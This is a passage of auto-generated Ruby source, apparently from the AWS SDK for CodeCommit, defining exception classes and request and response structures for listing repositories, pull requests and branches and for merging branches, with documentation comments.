# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidDescriptionException AWS API Documentation
#
class InvalidDescriptionException < Aws::EmptyStructure; end
# The destination commit specifier is not valid. You must provide a
# valid branch name, tag, or full commit ID.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidDestinationCommitSpecifierException AWS API Documentation
#
class InvalidDestinationCommitSpecifierException < Aws::EmptyStructure; end
# The specified email address either contains one or more characters
# that are not allowed, or it exceeds the maximum number of characters
# allowed for an email address.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidEmailException AWS API Documentation
#
class InvalidEmailException < Aws::EmptyStructure; end
# The location of the file is not valid. Make sure that you include the
# file name and extension.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidFileLocationException AWS API Documentation
#
class InvalidFileLocationException < Aws::EmptyStructure; end
# The specified file mode permission is not valid. For a list of valid
# file mode permissions, see PutFile.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidFileModeException AWS API Documentation
#
class InvalidFileModeException < Aws::EmptyStructure; end
# The position is not valid. Make sure that the line number exists in
# the version of the file you want to comment on.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidFilePositionException AWS API Documentation
#
class InvalidFilePositionException < Aws::EmptyStructure; end
# The specified value for the number of conflict files to return is not
# valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidMaxConflictFilesException AWS API Documentation
#
class InvalidMaxConflictFilesException < Aws::EmptyStructure; end
# The specified value for the number of merge hunks to return is not
# valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidMaxMergeHunksException AWS API Documentation
#
class InvalidMaxMergeHunksException < Aws::EmptyStructure; end
# The specified number of maximum results is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidMaxResultsException AWS API Documentation
#
class InvalidMaxResultsException < Aws::EmptyStructure; end
# The specified merge option is not valid for this operation. Not all
# merge strategies are supported for all operations.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidMergeOptionException AWS API Documentation
#
class InvalidMergeOptionException < Aws::EmptyStructure; end
# The specified sort order is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidOrderException AWS API Documentation
#
class InvalidOrderException < Aws::EmptyStructure; end
# The override status is not valid. Valid statuses are OVERRIDE and
# REVOKE.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidOverrideStatusException AWS API Documentation
#
class InvalidOverrideStatusException < Aws::EmptyStructure; end
# The parent commit ID is not valid. The commit ID cannot be empty, and
# must match the head commit ID for the branch of the repository where
# you want to add or update a file.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidParentCommitIdException AWS API Documentation
#
class InvalidParentCommitIdException < Aws::EmptyStructure; end
# The specified path is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidPathException AWS API Documentation
#
class InvalidPathException < Aws::EmptyStructure; end
# The pull request event type is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidPullRequestEventTypeException AWS API Documentation
#
class InvalidPullRequestEventTypeException < Aws::EmptyStructure; end
# The pull request ID is not valid. Make sure that you have provided the
# full ID and that the pull request is in the specified repository, and
# then try again.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidPullRequestIdException AWS API Documentation
#
class InvalidPullRequestIdException < Aws::EmptyStructure; end
# The pull request status is not valid. The only valid values are `OPEN`
# and `CLOSED`.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidPullRequestStatusException AWS API Documentation
#
class InvalidPullRequestStatusException < Aws::EmptyStructure; end
# The pull request status update is not valid. The only valid update is
# from `OPEN` to `CLOSED`.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidPullRequestStatusUpdateException AWS API Documentation
#
class InvalidPullRequestStatusUpdateException < Aws::EmptyStructure; end
# The specified reference name format is not valid. Reference names must
# conform to the Git references format (for example, refs/heads/master).
# For more information, see [Git Internals - Git References][1] or
# consult your Git documentation.
#
#
#
# [1]: https://git-scm.com/book/en/v2/Git-Internals-Git-References
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidReferenceNameException AWS API Documentation
#
class InvalidReferenceNameException < Aws::EmptyStructure; end
# Either the enum is not in a valid format, or the specified file
# version enum is not valid in respect to the current file version.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidRelativeFileVersionEnumException AWS API Documentation
#
class InvalidRelativeFileVersionEnumException < Aws::EmptyStructure; end
# Automerge was specified for resolving the conflict, but the
# replacement type is not valid or content is missing.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidReplacementContentException AWS API Documentation
#
class InvalidReplacementContentException < Aws::EmptyStructure; end
# Automerge was specified for resolving the conflict, but the specified
# replacement type is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidReplacementTypeException AWS API Documentation
#
class InvalidReplacementTypeException < Aws::EmptyStructure; end
# The specified repository description is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidRepositoryDescriptionException AWS API Documentation
#
class InvalidRepositoryDescriptionException < Aws::EmptyStructure; end
# A specified repository name is not valid.
#
# <note markdown="1"> This exception occurs only when a specified repository name is not
# valid. Other exceptions occur when a required repository parameter is
# missing, or when a specified repository does not exist.
#
# </note>
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidRepositoryNameException AWS API Documentation
#
class InvalidRepositoryNameException < Aws::EmptyStructure; end
# One or more branch names specified for the trigger is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidRepositoryTriggerBranchNameException AWS API Documentation
#
class InvalidRepositoryTriggerBranchNameException < Aws::EmptyStructure; end
# The custom data provided for the trigger is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidRepositoryTriggerCustomDataException AWS API Documentation
#
class InvalidRepositoryTriggerCustomDataException < Aws::EmptyStructure; end
# The Amazon Resource Name (ARN) for the trigger is not valid for the
# specified destination. The most common reason for this error is that
# the ARN does not meet the requirements for the service type.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidRepositoryTriggerDestinationArnException AWS API Documentation
#
class InvalidRepositoryTriggerDestinationArnException < Aws::EmptyStructure; end
# One or more events specified for the trigger is not valid. Check to
# make sure that all events specified match the requirements for allowed
# events.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidRepositoryTriggerEventsException AWS API Documentation
#
class InvalidRepositoryTriggerEventsException < Aws::EmptyStructure; end
# The name of the trigger is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidRepositoryTriggerNameException AWS API Documentation
#
class InvalidRepositoryTriggerNameException < Aws::EmptyStructure; end
# The AWS Region for the trigger target does not match the AWS Region
# for the repository. Triggers must be created in the same Region as the
# target for the trigger.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidRepositoryTriggerRegionException AWS API Documentation
#
class InvalidRepositoryTriggerRegionException < Aws::EmptyStructure; end
# The value for the resource ARN is not valid. For more information
# about resources in AWS CodeCommit, see [CodeCommit Resources and
# Operations][1] in the AWS CodeCommit User Guide.
#
#
#
# [1]: https://docs.aws.amazon.com/codecommit/latest/userguide/auth-and-access-control-iam-access-control-identity-based.html#arn-formats
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidResourceArnException AWS API Documentation
#
class InvalidResourceArnException < Aws::EmptyStructure; end
# The revision ID is not valid. Use GetPullRequest to determine the
# value.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidRevisionIdException AWS API Documentation
#
class InvalidRevisionIdException < Aws::EmptyStructure; end
# The SHA-256 hash signature for the rule content is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidRuleContentSha256Exception AWS API Documentation
#
class InvalidRuleContentSha256Exception < Aws::EmptyStructure; end
# The specified sort by value is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidSortByException AWS API Documentation
#
class InvalidSortByException < Aws::EmptyStructure; end
# The source commit specifier is not valid. You must provide a valid
# branch name, tag, or full commit ID.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidSourceCommitSpecifierException AWS API Documentation
#
class InvalidSourceCommitSpecifierException < Aws::EmptyStructure; end
# The specified tag is not valid. Key names cannot be prefixed with
# aws:.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidSystemTagUsageException AWS API Documentation
#
class InvalidSystemTagUsageException < Aws::EmptyStructure; end
# The list of tags is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidTagKeysListException AWS API Documentation
#
class InvalidTagKeysListException < Aws::EmptyStructure; end
# The map of tags is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidTagsMapException AWS API Documentation
#
class InvalidTagsMapException < Aws::EmptyStructure; end
# The specified target branch is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidTargetBranchException AWS API Documentation
#
class InvalidTargetBranchException < Aws::EmptyStructure; end
# The target for the pull request is not valid. A target must contain
# the full values for the repository name, source branch, and
# destination branch for the pull request.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidTargetException AWS API Documentation
#
class InvalidTargetException < Aws::EmptyStructure; end
# The targets for the pull request is not valid or not in a valid
# format. Targets are a list of target objects. Each target object must
# contain the full values for the repository name, source branch, and
# destination branch for a pull request.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidTargetsException AWS API Documentation
#
class InvalidTargetsException < Aws::EmptyStructure; end
# The title of the pull request is not valid. Pull request titles cannot
# exceed 100 characters in length.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/InvalidTitleException AWS API Documentation
#
class InvalidTitleException < Aws::EmptyStructure; end
# Information about whether a file is binary or textual in a merge or
# pull request operation.
#
# @!attribute [rw] source
# The binary or non-binary status of file in the source of a merge or
# pull request.
# @return [Boolean]
#
# @!attribute [rw] destination
# The binary or non-binary status of a file in the destination of a
# merge or pull request.
# @return [Boolean]
#
# @!attribute [rw] base
# The binary or non-binary status of a file in the base of a merge or
# pull request.
# @return [Boolean]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/IsBinaryFile AWS API Documentation
#
class IsBinaryFile < Struct.new(
:source,
:destination,
:base)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass ListApprovalRuleTemplatesInput
# data as a hash:
#
# {
# next_token: "NextToken",
# max_results: 1,
# }
#
# @!attribute [rw] next_token
# An enumeration token that, when provided in a request, returns the
# next batch of the results.
# @return [String]
#
# @!attribute [rw] max_results
# A non-zero, non-negative integer used to limit the number of
# returned results.
# @return [Integer]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ListApprovalRuleTemplatesInput AWS API Documentation
#
class ListApprovalRuleTemplatesInput < Struct.new(
:next_token,
:max_results)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] approval_rule_template_names
# The names of all the approval rule templates found in the AWS Region
# for your AWS account.
# @return [Array<String>]
#
# @!attribute [rw] next_token
# An enumeration token that allows the operation to batch the next
# results of the operation.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ListApprovalRuleTemplatesOutput AWS API Documentation
#
class ListApprovalRuleTemplatesOutput < Struct.new(
:approval_rule_template_names,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass ListAssociatedApprovalRuleTemplatesForRepositoryInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# next_token: "NextToken",
# max_results: 1,
# }
#
# @!attribute [rw] repository_name
# The name of the repository for which you want to list all associated
# approval rule templates.
# @return [String]
#
# @!attribute [rw] next_token
# An enumeration token that, when provided in a request, returns the
# next batch of the results.
# @return [String]
#
# @!attribute [rw] max_results
# A non-zero, non-negative integer used to limit the number of
# returned results.
# @return [Integer]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ListAssociatedApprovalRuleTemplatesForRepositoryInput AWS API Documentation
#
class ListAssociatedApprovalRuleTemplatesForRepositoryInput < Struct.new(
:repository_name,
:next_token,
:max_results)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] approval_rule_template_names
# The names of all approval rule templates associated with the
# repository.
# @return [Array<String>]
#
# @!attribute [rw] next_token
# An enumeration token that allows the operation to batch the next
# results of the operation.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ListAssociatedApprovalRuleTemplatesForRepositoryOutput AWS API Documentation
#
class ListAssociatedApprovalRuleTemplatesForRepositoryOutput < Struct.new(
:approval_rule_template_names,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# Represents the input of a list branches operation.
#
# @note When making an API call, you may pass ListBranchesInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# next_token: "NextToken",
# }
#
# @!attribute [rw] repository_name
# The name of the repository that contains the branches.
# @return [String]
#
# @!attribute [rw] next_token
# An enumeration token that allows the operation to batch the results.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ListBranchesInput AWS API Documentation
#
class ListBranchesInput < Struct.new(
:repository_name,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# Represents the output of a list branches operation.
#
# @!attribute [rw] branches
# The list of branch names.
# @return [Array<String>]
#
# @!attribute [rw] next_token
# An enumeration token that returns the batch of the results.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ListBranchesOutput AWS API Documentation
#
class ListBranchesOutput < Struct.new(
:branches,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass ListPullRequestsInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# author_arn: "Arn",
# pull_request_status: "OPEN", # accepts OPEN, CLOSED
# next_token: "NextToken",
# max_results: 1,
# }
#
# @!attribute [rw] repository_name
# The name of the repository for which you want to list pull requests.
# @return [String]
#
# @!attribute [rw] author_arn
# Optional. The Amazon Resource Name (ARN) of the user who created the
# pull request. If used, this filters the results to pull requests
# created by that user.
# @return [String]
#
# @!attribute [rw] pull_request_status
# Optional. The status of the pull request. If used, this refines the
# results to the pull requests that match the specified status.
# @return [String]
#
# @!attribute [rw] next_token
# An enumeration token that, when provided in a request, returns the
# next batch of the results.
# @return [String]
#
# @!attribute [rw] max_results
# A non-zero, non-negative integer used to limit the number of
# returned results.
# @return [Integer]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ListPullRequestsInput AWS API Documentation
#
class ListPullRequestsInput < Struct.new(
:repository_name,
:author_arn,
:pull_request_status,
:next_token,
:max_results)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] pull_request_ids
# The system-generated IDs of the pull requests.
# @return [Array<String>]
#
# @!attribute [rw] next_token
# An enumeration token that allows the operation to batch the next
# results of the operation.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ListPullRequestsOutput AWS API Documentation
#
class ListPullRequestsOutput < Struct.new(
:pull_request_ids,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass ListRepositoriesForApprovalRuleTemplateInput
# data as a hash:
#
# {
# approval_rule_template_name: "ApprovalRuleTemplateName", # required
# next_token: "NextToken",
# max_results: 1,
# }
#
# @!attribute [rw] approval_rule_template_name
# The name of the approval rule template for which you want to list
# repositories that are associated with that template.
# @return [String]
#
# @!attribute [rw] next_token
# An enumeration token that, when provided in a request, returns the
# next batch of the results.
# @return [String]
#
# @!attribute [rw] max_results
# A non-zero, non-negative integer used to limit the number of
# returned results.
# @return [Integer]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ListRepositoriesForApprovalRuleTemplateInput AWS API Documentation
#
class ListRepositoriesForApprovalRuleTemplateInput < Struct.new(
:approval_rule_template_name,
:next_token,
:max_results)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] repository_names
# A list of repository names that are associated with the specified
# approval rule template.
# @return [Array<String>]
#
# @!attribute [rw] next_token
# An enumeration token that allows the operation to batch the next
# results of the operation.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ListRepositoriesForApprovalRuleTemplateOutput AWS API Documentation
#
class ListRepositoriesForApprovalRuleTemplateOutput < Struct.new(
:repository_names,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# Represents the input of a list repositories operation.
#
# @note When making an API call, you may pass ListRepositoriesInput
# data as a hash:
#
# {
# next_token: "NextToken",
# sort_by: "repositoryName", # accepts repositoryName, lastModifiedDate
# order: "ascending", # accepts ascending, descending
# }
#
# @!attribute [rw] next_token
# An enumeration token that allows the operation to batch the results
# of the operation. Batch sizes are 1,000 for list repository
# operations. When the client sends the token back to AWS CodeCommit,
# another page of 1,000 records is retrieved.
# @return [String]
#
# @!attribute [rw] sort_by
# The criteria used to sort the results of a list repositories
# operation.
# @return [String]
#
# @!attribute [rw] order
# The order in which to sort the results of a list repositories
# operation.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ListRepositoriesInput AWS API Documentation
#
class ListRepositoriesInput < Struct.new(
:next_token,
:sort_by,
:order)
SENSITIVE = []
include Aws::Structure
end
# Represents the output of a list repositories operation.
#
# @!attribute [rw] repositories
# Lists the repositories called by the list repositories operation.
# @return [Array<Types::RepositoryNameIdPair>]
#
# @!attribute [rw] next_token
# An enumeration token that allows the operation to batch the results
# of the operation. Batch sizes are 1,000 for list repository
# operations. When the client sends the token back to AWS CodeCommit,
# another page of 1,000 records is retrieved.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ListRepositoriesOutput AWS API Documentation
#
class ListRepositoriesOutput < Struct.new(
:repositories,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass ListTagsForResourceInput
# data as a hash:
#
# {
# resource_arn: "ResourceArn", # required
# next_token: "NextToken",
# }
#
# @!attribute [rw] resource_arn
# The Amazon Resource Name (ARN) of the resource for which you want to
# get information about tags, if any.
# @return [String]
#
# @!attribute [rw] next_token
# An enumeration token that, when provided in a request, returns the
# next batch of the results.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ListTagsForResourceInput AWS API Documentation
#
class ListTagsForResourceInput < Struct.new(
:resource_arn,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] tags
# A list of tag key and value pairs associated with the specified
# resource.
# @return [Hash<String,String>]
#
# @!attribute [rw] next_token
# An enumeration token that allows the operation to batch the next
# results of the operation.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ListTagsForResourceOutput AWS API Documentation
#
class ListTagsForResourceOutput < Struct.new(
:tags,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# Returns information about the location of a change or comment in the
# comparison between two commits or a pull request.
#
# @note When making an API call, you may pass Location
# data as a hash:
#
# {
# file_path: "Path",
# file_position: 1,
# relative_file_version: "BEFORE", # accepts BEFORE, AFTER
# }
#
# @!attribute [rw] file_path
# The name of the file being compared, including its extension and
# subdirectory, if any.
# @return [String]
#
# @!attribute [rw] file_position
# The position of a change in a compared file, in line number format.
# @return [Integer]
#
# @!attribute [rw] relative_file_version
# In a comparison of commits or a pull request, whether the change is
# in the before or after of that comparison.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/Location AWS API Documentation
#
class Location < Struct.new(
:file_path,
:file_position,
:relative_file_version)
SENSITIVE = []
include Aws::Structure
end
# The pull request cannot be merged automatically into the destination
# branch. You must manually merge the branches and resolve any
# conflicts.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ManualMergeRequiredException AWS API Documentation
#
class ManualMergeRequiredException < Aws::EmptyStructure; end
# The number of branches for the trigger was exceeded.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MaximumBranchesExceededException AWS API Documentation
#
class MaximumBranchesExceededException < Aws::EmptyStructure; end
# The number of allowed conflict resolution entries was exceeded.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MaximumConflictResolutionEntriesExceededException AWS API Documentation
#
class MaximumConflictResolutionEntriesExceededException < Aws::EmptyStructure; end
# The number of files to load exceeds the allowed limit.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MaximumFileContentToLoadExceededException AWS API Documentation
#
class MaximumFileContentToLoadExceededException < Aws::EmptyStructure; end
# The number of specified files to change as part of this commit exceeds
# the maximum number of files that can be changed in a single commit.
# Consider using a Git client for these changes.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MaximumFileEntriesExceededException AWS API Documentation
#
class MaximumFileEntriesExceededException < Aws::EmptyStructure; end
# The number of items to compare between the source or destination
# branches and the merge base has exceeded the maximum allowed.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MaximumItemsToCompareExceededException AWS API Documentation
#
class MaximumItemsToCompareExceededException < Aws::EmptyStructure; end
# The number of approvals required for the approval rule exceeds the
# maximum number allowed.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MaximumNumberOfApprovalsExceededException AWS API Documentation
#
class MaximumNumberOfApprovalsExceededException < Aws::EmptyStructure; end
# You cannot create the pull request because the repository has too many
# open pull requests. The maximum number of open pull requests for a
# repository is 1,000. Close one or more open pull requests, and then
# try again.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MaximumOpenPullRequestsExceededException AWS API Documentation
#
class MaximumOpenPullRequestsExceededException < Aws::EmptyStructure; end
# The maximum number of allowed repository names was exceeded.
# Currently, this number is 100.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MaximumRepositoryNamesExceededException AWS API Documentation
#
class MaximumRepositoryNamesExceededException < Aws::EmptyStructure; end
# The number of triggers allowed for the repository was exceeded.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MaximumRepositoryTriggersExceededException AWS API Documentation
#
class MaximumRepositoryTriggersExceededException < Aws::EmptyStructure; end
# The maximum number of approval rule templates for a repository has
# been exceeded. You cannot associate more than 25 approval rule
# templates with a repository.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MaximumRuleTemplatesAssociatedWithRepositoryException AWS API Documentation
#
class MaximumRuleTemplatesAssociatedWithRepositoryException < Aws::EmptyStructure; end
# @note When making an API call, you may pass MergeBranchesByFastForwardInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# source_commit_specifier: "CommitName", # required
# destination_commit_specifier: "CommitName", # required
# target_branch: "BranchName",
# }
#
# @!attribute [rw] repository_name
# The name of the repository where you want to merge two branches.
# @return [String]
#
# @!attribute [rw] source_commit_specifier
# The branch, tag, HEAD, or other fully qualified reference used to
# identify a commit (for example, a branch name or a full commit ID).
# @return [String]
#
# @!attribute [rw] destination_commit_specifier
# The branch, tag, HEAD, or other fully qualified reference used to
# identify a commit (for example, a branch name or a full commit ID).
# @return [String]
#
# @!attribute [rw] target_branch
# The branch where the merge is applied.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergeBranchesByFastForwardInput AWS API Documentation
#
class MergeBranchesByFastForwardInput < Struct.new(
:repository_name,
:source_commit_specifier,
:destination_commit_specifier,
:target_branch)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] commit_id
# The commit ID of the merge in the destination or target branch.
# @return [String]
#
# @!attribute [rw] tree_id
# The tree ID of the merge in the destination or target branch.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergeBranchesByFastForwardOutput AWS API Documentation
#
class MergeBranchesByFastForwardOutput < Struct.new(
:commit_id,
:tree_id)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass MergeBranchesBySquashInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# source_commit_specifier: "CommitName", # required
# destination_commit_specifier: "CommitName", # required
# target_branch: "BranchName",
# conflict_detail_level: "FILE_LEVEL", # accepts FILE_LEVEL, LINE_LEVEL
# conflict_resolution_strategy: "NONE", # accepts NONE, ACCEPT_SOURCE, ACCEPT_DESTINATION, AUTOMERGE
# author_name: "Name",
# email: "Email",
# commit_message: "Message",
# keep_empty_folders: false,
# conflict_resolution: {
# replace_contents: [
# {
# file_path: "Path", # required
# replacement_type: "KEEP_BASE", # required, accepts KEEP_BASE, KEEP_SOURCE, KEEP_DESTINATION, USE_NEW_CONTENT
# content: "data",
# file_mode: "EXECUTABLE", # accepts EXECUTABLE, NORMAL, SYMLINK
# },
# ],
# delete_files: [
# {
# file_path: "Path", # required
# },
# ],
# set_file_modes: [
# {
# file_path: "Path", # required
# file_mode: "EXECUTABLE", # required, accepts EXECUTABLE, NORMAL, SYMLINK
# },
# ],
# },
# }
#
# @!attribute [rw] repository_name
# The name of the repository where you want to merge two branches.
# @return [String]
#
# @!attribute [rw] source_commit_specifier
# The branch, tag, HEAD, or other fully qualified reference used to
# identify a commit (for example, a branch name or a full commit ID).
# @return [String]
#
# @!attribute [rw] destination_commit_specifier
# The branch, tag, HEAD, or other fully qualified reference used to
# identify a commit (for example, a branch name or a full commit ID).
# @return [String]
#
# @!attribute [rw] target_branch
# The branch where the merge is applied.
# @return [String]
#
# @!attribute [rw] conflict_detail_level
# The level of conflict detail to use. If unspecified, the default
# FILE\_LEVEL is used, which returns a not-mergeable result if the
# same file has differences in both branches. If LINE\_LEVEL is
# specified, a conflict is considered not mergeable if the same file
# in both branches has differences on the same line.
# @return [String]
#
# @!attribute [rw] conflict_resolution_strategy
# Specifies which branch to use when resolving conflicts, or whether
# to attempt automatically merging two versions of a file. The default
# is NONE, which requires any conflicts to be resolved manually before
# the merge operation is successful.
# @return [String]
#
# @!attribute [rw] author_name
# The name of the author who created the commit. This information is
# used as both the author and committer for the commit.
# @return [String]
#
# @!attribute [rw] email
# The email address of the person merging the branches. This
# information is used in the commit information for the merge.
# @return [String]
#
# @!attribute [rw] commit_message
# The commit message for the merge.
# @return [String]
#
# @!attribute [rw] keep_empty_folders
# If the commit contains deletions, whether to keep a folder or folder
# structure if the changes leave the folders empty. If this is
# specified as true, a .gitkeep file is created for empty folders. The
# default is false.
# @return [Boolean]
#
# @!attribute [rw] conflict_resolution
# If AUTOMERGE is the conflict resolution strategy, a list of inputs
# to use when resolving conflicts during a merge.
# @return [Types::ConflictResolution]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergeBranchesBySquashInput AWS API Documentation
#
class MergeBranchesBySquashInput < Struct.new(
:repository_name,
:source_commit_specifier,
:destination_commit_specifier,
:target_branch,
:conflict_detail_level,
:conflict_resolution_strategy,
:author_name,
:email,
:commit_message,
:keep_empty_folders,
:conflict_resolution)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] commit_id
# The commit ID of the merge in the destination or target branch.
# @return [String]
#
# @!attribute [rw] tree_id
# The tree ID of the merge in the destination or target branch.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergeBranchesBySquashOutput AWS API Documentation
#
class MergeBranchesBySquashOutput < Struct.new(
:commit_id,
:tree_id)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass MergeBranchesByThreeWayInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# source_commit_specifier: "CommitName", # required
# destination_commit_specifier: "CommitName", # required
# target_branch: "BranchName",
# conflict_detail_level: "FILE_LEVEL", # accepts FILE_LEVEL, LINE_LEVEL
# conflict_resolution_strategy: "NONE", # accepts NONE, ACCEPT_SOURCE, ACCEPT_DESTINATION, AUTOMERGE
# author_name: "Name",
# email: "Email",
# commit_message: "Message",
# keep_empty_folders: false,
# conflict_resolution: {
# replace_contents: [
# {
# file_path: "Path", # required
# replacement_type: "KEEP_BASE", # required, accepts KEEP_BASE, KEEP_SOURCE, KEEP_DESTINATION, USE_NEW_CONTENT
# content: "data",
# file_mode: "EXECUTABLE", # accepts EXECUTABLE, NORMAL, SYMLINK
# },
# ],
# delete_files: [
# {
# file_path: "Path", # required
# },
# ],
# set_file_modes: [
# {
# file_path: "Path", # required
# file_mode: "EXECUTABLE", # required, accepts EXECUTABLE, NORMAL, SYMLINK
# },
# ],
# },
# }
#
# @!attribute [rw] repository_name
# The name of the repository where you want to merge two branches.
# @return [String]
#
# @!attribute [rw] source_commit_specifier
# The branch, tag, HEAD, or other fully qualified reference used to
# identify a commit (for example, a branch name or a full commit ID).
# @return [String]
#
